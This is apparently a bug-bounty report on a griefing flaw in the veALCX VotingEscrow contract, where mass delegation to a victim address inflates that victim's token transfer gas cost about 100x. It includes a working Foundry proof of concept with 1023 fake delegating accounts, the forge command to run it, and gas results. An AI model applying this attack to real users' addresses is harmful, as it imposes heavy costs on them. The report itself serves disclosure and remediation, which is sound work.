Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
Currently, MAX_DELEGATES is set to 1024, opening up a Griefing Attack Vector that can make it 100x more expensive for users to transfer tokens.
Vulnerability Details
Any user can delegate the balance of the locked NFT amount to anyone by calling the delegate function:
functiondelegate(address delegatee) public {require(delegatee !=address(0),"cannot delegate to zero address");return_delegate(msg.sender, delegatee); }
As the delegated tokens are maintained in an array that can be vulnerable to DOS attack, the VotingEscrow has a safety check of MAX_DELEGATES = 1024 preventing an address from having a huge array.
/// @notice Maximum number of delegates a token can haveuint256publicconstant MAX_DELEGATES =1024; // avoid too much gas
require(dstTokensOld.length +1<= MAX_DELEGATES,"dst would have too many tokenIds");
Delegating from an address with a shorter token list to one with a longer list is cheaper. An attacker can create a new address, lock tokens, and delegate to the victim's address, significantly increasing the gas cost for the victim to transfer veALCX tokens.
In the current implementation, it costs users more than 23M gas to transfer a veALCX token when there are 1023 delegates (see PoC for details).
Although this won't cause a DoS due to Ethereum's gas limit of 30M, but it will increase the gas cost for users by 100x.
Impact Details
Griefing Attack exposes users to a 100x increase in the cost of transferring tokens.
Recommendation
While testing, I found that Keeping MAX_DELEGATES value to 128 will max cost User close to 3M Gas, around 10x the normal cost. This can provide a balance between offering delegation and protecting users from a Griefing Attack that could increase their costs by 100x.
Proof of Concept
Test Code
Add the following test function in VotingEscrow.t.sol test.
functiontestDelegateLimitAttack() public {// 1. Create Lockdeal(bpt,address(this), TOKEN_1M);IERC20(bpt).approve(address(veALCX), TOKEN_1M);uint256 tokenId = veALCX.createLock(TOKEN_1,3* ONE_WEEK,false);// 2. Have 1023 Fake Accounts which delegates to this address.for(uint256 i =0; i < veALCX.MAX_DELEGATES() -1; i++) { vm.roll(block.number +1); vm.warp(block.timestamp +2);address fakeAccount =address(uint160(420+ i));deal(bpt, fakeAccount, TOKEN_1); vm.startPrank(fakeAccount);IERC20(bpt).approve(address(veALCX), TOKEN_1); veALCX.createLock(TOKEN_1,3* ONE_WEEK,false); veALCX.delegate(address(this)); vm.stopPrank(); } hevm.warp(block.timestamp +3* ONE_WEEK + nextEpoch);uint256 lockEnd = veALCX.lockEnd(tokenId); hevm.warp(block.timestamp + lockEnd); veALCX.startCooldown(tokenId); hevm.warp(block.timestamp + nextEpoch);// 3. Check gas used to transfer the tokenuint initialGas = gasleft(); veALCX.safeTransferFrom(veALCX.ownerOf(tokenId), beef, tokenId);uint gasUsed = initialGas - gasleft(); console2.log("Gas Used for 1023 Delegate = ", gasUsed); }
To compare gas usage with 1 delegate, run the following:
functiontestDelegateLimitAttack() public {// 1. Create Lockdeal(bpt,address(this), TOKEN_1M);IERC20(bpt).approve(address(veALCX), TOKEN_1M);uint256 tokenId = veALCX.createLock(TOKEN_1,3* ONE_WEEK,false);// 2. Have 1023 Fake Accounts which delegates to this address.// for(uint256 i = 0; i < veALCX.MAX_DELEGATES() - 1; i++) { vm.roll(block.number +1); vm.warp(block.timestamp +2);address fakeAccount =address(uint160(420+1));deal(bpt, fakeAccount, TOKEN_1); vm.startPrank(fakeAccount);IERC20(bpt).approve(address(veALCX), TOKEN_1); veALCX.createLock(TOKEN_1,3* ONE_WEEK,false); veALCX.delegate(address(this)); vm.stopPrank();// } hevm.warp(block.timestamp +3* ONE_WEEK + nextEpoch);uint256 lockEnd = veALCX.lockEnd(tokenId); hevm.warp(block.timestamp + lockEnd); veALCX.startCooldown(tokenId); hevm.warp(block.timestamp + nextEpoch);// 3. Check gas used to transfer the tokenuint initialGas = gasleft(); veALCX.safeTransferFrom(veALCX.ownerOf(tokenId), beef, tokenId);uint gasUsed = initialGas - gasleft(); console2.log("Gas Used for 1 Delegate = ", gasUsed); }
Running the code
Use the following command to run the code:
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/${ALCHEMY_API} --match-test testDelegateLimitAttack --fork-block-number 17133822 -vvv
Result
Gas required to transfer token with 1023 delegates:
Running 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest [PASS] testDelegateLimitAttack() (gas: 12606294184) Logs: Gas Used for1023 Delegate =23442846 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in3.26s Ran 1 test suites: 1 tests passed,0 failed,0 skipped (1 total tests)
Gas required to transfer token with 1 delegate:
Running 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest [PASS] testDelegateLimitAttack() (gas: 2636939) Logs: Gas Used for1 Delegate =266145 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in20.40ms Ran 1 test suites: 1 tests passed,0 failed,0 skipped (1 total tests)
Analysis of Result
Gas required to transfer token with 1 delegate: 266k Gas
Gas required to transfer token with 1023 delegates: 23M Gas
Given Ethereum's gas limit of 30M, the transfer function won't cause a DoS, but the gas cost can be increased by almost 100x through this Griefing Attack.
As suggested in recommendation: By setting MAX_DELEGATES to 128, the gas cost required was 3.1M, close to 10x the normal cost, striking a balance between providing the delegation feature and protecting users from this Griefing Attack.